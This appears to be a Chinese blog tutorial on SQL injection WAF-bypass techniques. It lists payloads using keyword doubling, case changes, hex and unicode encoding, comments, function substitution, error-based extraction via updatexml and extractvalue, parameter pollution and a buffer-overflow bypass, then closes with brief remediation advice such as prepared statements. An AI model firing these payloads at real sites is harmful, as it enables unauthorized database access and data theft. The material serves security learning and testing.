SQL繞過技術以及修復

2021-10-06 16:48:57 字數 4636 閱讀 2119

1.過濾判斷

***.com?id=1 訪問?id=1 and 1=1 頁面報錯 1=1,發現 and 被過濾,這時候嘗試使用雙寫的方 式繞過,如 aanndd 1=1,當 and 被過濾後,aanndd 變成了 and,所以這時傳輸資料庫的語句是 and 1=1 ,如果當訪問 order by 錯誤資訊為」der by」這發現過濾了 or,這雙寫 or,後面注 入和 union 注入的一致。

1.大小寫繞過用於只針對小寫或大寫的關鍵字匹配技術,正規表示式/express/i 大小寫不敏感 即無法繞過,這是最簡單的繞過技術

舉例:z.com/index.php?page_id=-15 union select 1,2,3,4 示例場景可能的情況為 filter 的規則裡有對大小寫轉換的處理,但不是每個關鍵字或每種情況 都有處理

這種情況下大小寫轉化無法繞過,而且正規表示式會替換或刪除 select、union 這些關鍵字, 如果只匹配一次就很容易繞過

舉例:z.com/index.php?page_id=-15?uniunionon selselectect 1,2,3,4 同樣是很基礎的技術,有些時候甚至構造得更複雜:selseselectlectect,不建議對此抱太大 期望

1. url 編碼
2. 十六進製制編碼target.com/index.php?page_id=-15 /!u%6eion/ /!se%6cect/ 1,2,3,4… select(extractvalue(0x3c613e61646d696e3c2f613e,0x2f61)) 示例**中,前者是對單個字元十六進製制編碼,後者則是對整個字串編碼

3. unicode 編碼unicode 有所謂的標準編碼和非標準編碼,假設我們用的 utf-8 為標準編碼,那麼西歐語系 所使用的就是非標準編碼了 看一下常用的幾個符號的一些 unicode 編碼: 單引號:?? %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7 空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0 左括號:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8 右括號:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9 舉例:?id=1%d6『%20and%201=2%23 select 『?』=『a』; #1 兩個示例中,前者利用雙位元組繞過,比如對單引號轉義操作變成』,那麼就變成 了%d6%5c』,%d6%5c 構成了乙個款位元組即 unicode 位元組,單引號可以正常使用 第二個示例使用的是兩種不同編碼的字元的比較,它們比較的結果可能是 true 或者 false, 關鍵在於 unicode 編碼種類繁多,基於黑名單的過濾器無法處理所以情況,從而實現繞過 另外平時聽得多一點的可能是 utf-7 的繞過,還有 utf-16、utf-32 的繞過,後者從成功的 實現對 google 的繞過,有興趣的朋友可以去了解下 常見的編碼當然還有二進位制、八進位制,它們不一定都派得上用場。

1.普通注釋

2.內聯注釋

1.函式或變數hex()、bin()=>ascii()

sleep()=>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

舉例:substring()和 substr()無法使用 時:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 或者:substr((select 『password』),1,1) = 0x70 strcmp(left(『password』,1), 0x69) = 1 strcmp(left(『password』,1), 0x70) = 0 strcmp(left(『password』,1), 0x71) = -1 上述這幾個示例用於說明有時候當某個函式不能使用時,還可以找到其他的函式替代其實現, 置於 select、uinon、where 等關鍵字被限制如何處理將在後面 filter 部分討論

2.符號and 和 or :&&、||;

=:;空格:%20 %09 %0a %0b %0c %0d %a0 /**/

3.生僻函式mysql/postgresql 支 持 xml 函 數 : select updatexml( 『 』 , 』 /script/@x/』,』src= ?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1)) select xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql ?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); mysql、postgresql、oracle 它們都有許多自己的函式,基於黑名單的 filter 要想涵蓋這麼多 東西從實際上來說不太可能,而且代價太大,看來黑名單技術到一定程度便遇到了限制

1.使用反引號,

例如 select version(),可以用來過空格和正則,特殊情況下還可以將其 做注釋符用

2.神奇的"-+.",select+id-1+1.from users; 「+」是用於字串連線的,」-」和」.」在此 也用於連線,可以逃過空格和關鍵字過濾

3.@符號,select@^1.from users; @用於變數定義如@var_name,乙個@表示使用者定義,@@表 示系統變數 4.mysql function() as *** 也可不用 as 和空格 select-count(id)test from users; // 繞過空格限制

舉例:/?id=1;select+1,2,3+from+users+where+id=1—

這種方法是 http 分割注入,同 crlf 有相似之處(使用控制字元%0a、%0d 等執行換行)

舉例:/?a=1+union/&b=/select+1,pass/&c=/from+users-- select * from table where a=1 union/* and b=/select 1,pass/ limit */from users—

這一概念見於 exploit-db 上的 *****:beyond sqli: obfuscate and bypass,contamination 同樣 意為汙染

緩衝區溢位用於對付 waf,有不少 waf 是 c 語言寫

的,而 c 語言自身沒有緩衝區保護機制,因此如果 waf 在處理測試向量時超出了其緩衝區長度,就會引發 bug 從而實現繞過

舉例: ?id=1 and (select 1)=(select 0xa*1000)+union+select+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17, 18,19,20,21,22,23,24,25,26

1.過濾危險字元

• 多數 cms 都採用過濾字元的方式,例如,採用正規表示式匹配 union、sleep、load_file 等 關鍵字,如果匹配到,則退出程式。

2.使用預編譯語句

• 其實使用 pdo 預編譯語句,需要注意的是,不要將變數直接拼接到 pdo 語句中,而是使用佔 位符進行資料庫的增加、刪除、修改、查詢。

SQL注入中的WAF繞過技術

論壇 法克論壇 目錄 1.大小寫繞過 2.簡單編碼繞過 3.注釋繞過 4.分隔重寫繞過 5.http引數汙染 hpp 6.使用邏輯運算子 or and繞過 7.比較操作符替換 8.同功能函式替換 9.盲注無需or和and 10.加括號 11.緩衝區溢位繞過 1.大小寫繞過 這個大家都很熟悉,對於一些...

sql資料庫修復技術

小知識 sql恢復技術 sql資料庫修復 技術 sql server資料庫備份有兩種方式,一種是使用backup database將資料庫檔案備份出去,另外一種就是直接拷貝資料庫檔案mdf和日誌檔案ldf的方式。下面將主要討論一下後者的備份與恢復。本文假定您能熟練使用sql server enter...

SQL繞過例項

簡單判斷是否存在注入 發現有防注入系統,在 位址後加入 0 和 進行測試 明顯存在sql注入。post提交無法繞過 在post data中輸入and 1 1 和and 1 2,勾選 enable post data 單擊 execute 進行測試,如圖所示,結果無任何變化,說明直接post提交無法繞...